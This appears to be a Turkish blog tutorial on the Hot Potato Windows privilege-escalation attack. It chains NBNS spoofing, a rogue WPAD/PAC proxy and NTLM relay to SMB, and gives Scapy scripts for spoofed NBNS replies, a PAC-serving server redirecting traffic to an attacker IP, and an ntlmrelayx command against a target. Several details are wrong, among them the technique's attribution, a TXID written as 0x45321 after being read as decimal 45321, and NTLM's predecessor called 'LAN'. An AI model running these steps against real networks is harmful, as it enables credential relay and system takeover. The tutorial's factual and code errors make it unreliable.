İleri Seviye Yetki Yükseltmede Network

Hot Potato & NTLM Relay Rehberi

İleri Seviye Yetki Yükseltmede Network

2016 civarlarında Dominic White yeni bir yöntem tanıttı. Bu yöntemin ismi "Hot Potato" idi. Amaç burada Windows sistemini minimum yetkiler ile author\system yapmaktı. Hot Potato aslında öyle tahmin edebileceğiniz gibi local açıklıkları falan kullanmıyordu. Garip değil mi? Bir yetki yükseltme ve local değil? Tahmin edebiliyorum ama bu zafiyet bana kalırsa bir kernel exploit kadar değerli bir zafiyet idi. Hot Potato, Windows'un ağ protokollerindeki bir açıktan yararlanarak yetkiyi istediğiniz bilgisayara yansıtıyordu. Bunun için birkaç spoofing yöntemi kullanıyordu: NTLM relay, NBNS spoofing ve vs...

Basit bir açıklama yapmak gerekirse: Windows'ta normal haklarla çalışırsınız ama Hot Potato ağdaki bazı protokoller aracılığıyla SYSTEM haklarını saldırganın sızdığı PC'ye yansıtıyordu.

Windows Ağ Protokolleri

NBNS

NBNS, Windows makinelerde NetBIOS isimlerini IP adresine çevirmek için kullanılan UDP kullanan bir hizmettir. DNS gibi çalışır ama domain değil, MLan’daki cihazların IP listesini tutar.

IP Address       NetBIOS Name     Server User      MAC Address
192.168.56.101   WIN10-VM01      Administrator   08:00:27:12:34:56
192.168.56.102   SERVER2012R2    SYSTEM          08:00:27:65:43:21
192.168.56.103   WIN10-VM02      User1           08:00:27:AB:CD:EF
192.168.56.104   DC01            Administrator   08:00:27:DE:AD:BE
192.168.56.105   PRINTSRV01      SYSTEM          08:00:27:FE:ED:FA

NTLM

NTLM kimlik doğrulama protokolüdür. Eskiden adı LAN idi, sonra daha güvenlisi NTLM, şimdi ise Kerberos yerini aldı. Kullanıcı giriş yapmaya çalıştığında sunucu kullanıcıya rasgele bir challenge gönderir. Kullanıcının cihazı bu challenge’ı kendi şifre hash’i ile şifreleyip cevap yollar.

Kullanıcı parolayı girer: "Myp@ss"
  |
İstemci hesaplar: NT Hash = 0xAAAABBBB
  |
Sunucu gönderir: ServerChallenge = 0x1111
  |
İstemci ekler: ClientChallenge = 0x2222
  |
İstemci üretir: Response = H(0xAAAABBBB + 0x1111 + 0x2222) = 0xDEAD
  |
İstemci -> Sunucu: username + Response(0xDEAD)
  |
Sunucu hesaplar kendi BeklenenResponse, eşleşirse => Access Granted

WPAD

WPAD = Web Proxy Auto-Discovery

Windows ve bazı tarayıcılar kullanır. Ağda bir proxy var mı diye otomatik bakar. Eğer var ise HTTP trafiği otomatik olarak bu proxy’den devam eder.

İşin Zevk Alıcı Kısmı

NBNS Spoofing

[NBNS] Sorgu Gönderildi -> Name: MACHINE01, TXID: ???
[NBNS] MACHINE01 yanıt veriyor -> IP: 192.168.1.10
[NBNS] MACHINE02 yanıt veriyor -> IP: 192.168.1.11
Sıradan bir NBNS akışı
Normal olarak LAN’daki gerçek makineler yanıt verir, her makineye yanıt verir ve alır, broadcast gibi çalışır.
Bizim amacımız saldırgan olarak sahte yanıt vermek: 
[NBNS] ATTACKER yanıt veriyor -> IP: 192.168.1.99, TXID: ???

TXID’yi bulmak için Wireshark’tan analiz yapmalıyız:

1    0.000001    192.168.56.101 192.168.56.102 NBNS     74     NBNS Name Query NB10:WIN10-VM01<00>, TXID=0x1a2b
2    0.000345    192.168.56.102 192.168.56.101 NBNS     90     NBNS Name Response NB10:WIN10-VM01<00>, TXID=0x1a2b
...
11   0.004000    192.168.56.101 192.168.56.255 UDP      74     NBNS Name Query NB10:PRINTSRV01<00>, TXID=45321
12   0.004100    192.168.56.105 192.168.56.101 UDP      90     NBNS Name Response NB10:PRINTSRV01<00>, TXID=45321

İşte TXID: 45321

[NBNS] ATTACKER yanıt veriyor -> IP: 192.168.1.99, TXID: 45321

Windows’ta WPAD her zaman açık değildir. Bunu aktifleştirmek için bir sorgu gerekir. Bu sorgu NBNS’e atıldığında NBNS WPAD’ı uyandırır ve WPAD’de işlem yapmamızı sağlar.

[WPAD] WPAD sorgusu gönderildi -> URL: http://wpad/wpad.dat

Şimdi bir PAC dosyası zamanı. Bu vesile ile PAC dosyasını göndererek proxy’i kendi IP’mize yönlendireceğiz:

[NBNS] Sorgu gönderildi -> Name: MACHINE01, TXID: 45321
[NBNS] Normal LAN yanıtları:
    MACHINE01 -> IP: 192.168.1.10
    MACHINE02 -> IP: 192.168.1.11
[NBNS] Saldırgan yanıtı -> ATTACKER -> IP: 192.168.1.99, TXID: 45321

[INFO] Hedef MACHINE01, sahte yanıtı kabul etti. Trafik ATTACKER'e yönlendiriliyor.

[WPAD] WPAD sorgusu atıldı -> URL: http://wpad/wpad.dat
[WPAD] Sahte yanıt -> PAC dosyası verildi:
function FindProxyForURL(url, host) {
    return "PROXY 192.168.1.99:8080";
}
[INFO] Hedef HTTP trafiği artık ATTACKER üzerinden geçecek.

Bingo, artık proxy bizim elimizde. Artık proxy ile NTLM paketlerini görebiliyoruz, NTLM paketlerini yakala ve tokeni al. NTLM relay ile kendi IP’ne yansıt. Yakaladığın NTLM tokenini veya hash’i SMB, WinRM, HTTP gibi başka bir servise yönlendirebilirsin. Amaç: hedefin SYSTEM token’ını kendi süreçlerine aktarmak.

  • Hedef HTTP üzerinden bize girdi → token yakalandı
  • SMB üzerinden token’i kullan → SYSTEM yetkisiyle bir süreç başlat

Zincir: NBNS spoof → WPAD sorgusu → PAC yanıtı → HTTP trafiği bize → NTLM yakala → Relay → SYSTEM token → SYSTEM süreci oluştur

Pratik Komutlar & Scapy Örnekleri

Adım 1: NBNS Sorgularını Dinleme

from scapy.all import *

def nbns_sniffer(pkt):
    if pkt.haslayer(UDP) and pkt[UDP].dport == 137:
        print(f"NBNS Sorgusu: {pkt.summary()}")

sniff(filter="udp port 137", prn=nbns_sniffer)

Adım 2: Sahte NBNS Yanıtı Gönderme

from scapy.layers.inet import IP, UDP
from scapy.layers.netbios import NBNSQueryResponse

response = IP(dst="192.168.56.101")/UDP(sport=137, dport=137)/NBNSQueryResponse(NAME="PRINTSRV01", TXID=0x45321, RDATA="192.168.1.99")
send(response)

Adım 3: WPAD PAC Dosyası Gönderme

from http.server import HTTPServer, BaseHTTPRequestHandler

class PACHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','application/x-ns-proxy-autoconfig')
        self.end_headers()
        pac = 'function FindProxyForURL(url, host) { return "PROXY 192.168.1.99:8080"; }'
        self.wfile.write(pac.encode())

httpd = HTTPServer(('0.0.0.0', 80), PACHandler)
httpd.serve_forever()

Adım 4: NTLM Relay ile SYSTEM Yetkisi Alma

ntlmrelayx.py -smb2support -t smb://192.168.56.102

Impacket ve ntlmrelayx Yükleme Adımları

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install .
# veya
python3 setup.py install
cd examples
python3 ntlmrelayx.py -h

Neden direk NTLM relay değil?

SMB üzerinden doğrudan NTLM relay yapmaya çalışırsan, Windows’un “loopback check” veya SMB signing gibi güvenlik mekanizmaları yüzünden işlem başarısız olur. Yani kendinle veya aynı ağdaki başka bir sisteme direkt olarak relay etmek engellenebilir. Ama HTTP üzerinden, özellikle WPAD + PAC dosyası üzerinden yönlendirilmiş proxy trafiğinde, Windows bu engellemeleri uygulamaz. Bu yüzden HTTP trafiğini kendi kontrolündeki proxy’ye yönlendirip NTLM paketlerini yakalayabilir ve sonra bunu SMB’ye veya başka servislere sorunsuz şekilde relay edebilirsin.

Kaynaklar

Post a Comment

Daha yeni Daha eski